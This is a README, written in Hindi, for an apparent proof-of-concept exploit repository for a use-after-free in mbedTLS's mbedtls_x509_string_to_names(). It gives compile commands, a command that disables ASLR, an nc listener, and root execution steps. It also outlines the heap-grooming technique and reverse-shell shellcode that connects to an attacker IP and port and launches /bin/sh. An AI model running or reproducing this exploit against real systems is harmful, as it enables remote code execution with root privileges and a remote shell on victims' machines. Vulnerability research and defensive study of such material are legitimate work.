
CVE-2025-47917 के लिए PoC शोषण: mbedTLS में Use-After-Free जो दूरस्थ कोड निष्पादन की ओर ले जाता है।
इस रिपॉजिटरी में mbedTLS लाइब्रेरी के mbedtls_x509_string_to_names() नाम पार्सिंग फंक्शन में एक उपयोग-के-बाद-मुक्त कमजोरी को लक्षित करने वाला एक एक्सप्लॉइट शामिल है। एक सफल एक्सप्लॉइट फ्री किए गए हीप मेटाडेटा को हाईजैक करके और नियंत्रण प्रवाह को इंजेक्टेड शेलकोड पर रीडायरेक्ट करके रूट विशेषाधिकारों के साथ मनमाना कोड निष्पादन प्रदान करता है।
ऑपरेटिंग सिस्टम: लिनक्स (काली लिनक्स पर परीक्षण किया गया)
रूट विशेषाधिकार: ASLR को अक्षम करने और इंजेक्टेड शेलकोड को निष्पादित करने के लिए आवश्यक
mbedTLS विकास लाइब्रेरीज़ (mbedTLS < 3.6.4):
sudo apt update
sudo apt install -y libmbedtls-dev
बिल्ड टूल्स: gcc, make (वैकल्पिक)
अपनी स्थापना के अनुसार इन्क्लूड/लाइब्रेरी पथ समायोजित करें:
gcc /path/to/exploit.c \
-I/usr/local/include \
-L/usr/local/lib \
-lmbedtls -lmbedx509 -lmbedcrypto \
-Wl,-rpath,/usr/local/lib \
-o exploit_UAF
ASLR अक्षम करें (एड्रेस स्पेस लेआउट रैंडमाइज़ेशन):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
एक श्रोता तैयार करें आक्रमणकारी मशीन पर रिवर्स शेल के लिए (पोर्ट 4454):
nc -lvnp 4454
एक्सप्लॉइट चलाएँ रूट विशेषाधिकारों के साथ:
sudo ./exploit_UAF
checkAslr() यह सुनिश्चित करने के लिए /proc/sys/kernel/randomize_va_space पढ़ता है कि ASLR अक्षम है। सक्षम होने पर बाहर निकलता है।mbedtls_x509_string_to_names() कॉल: एक खाली नामित-डेटा सूची प्रारंभ करता है।paddingChunk() शेलकोड की ओर इशारा करते हुए नियंत्रित सामग्री के साथ मुक्त सूची प्रविष्टियों को भरने के लिए कई नकली नामित-डेटा संरचनाएं आवंटित करता है।mbedtls_x509_string_to_names() कॉल: उपयोग-के-बाद-मुक्त स्थिति को ट्रिगर करता है, नकली मेटाडेटा वाले मुक्त किए गए चंक का पुन: उपयोग करता है।mmap() के माध्यम से RWX मैप किया जाता है, कॉपी किया जाता है, और दूषित named_data->val.p पॉइंटर के माध्यम से निष्पादित किया जाता है।192.168.92.1874454शेलकोड एक socket + connect + dup2 अनुक्रम निष्पादित करता है, फिर execve("/bin/sh").
MIT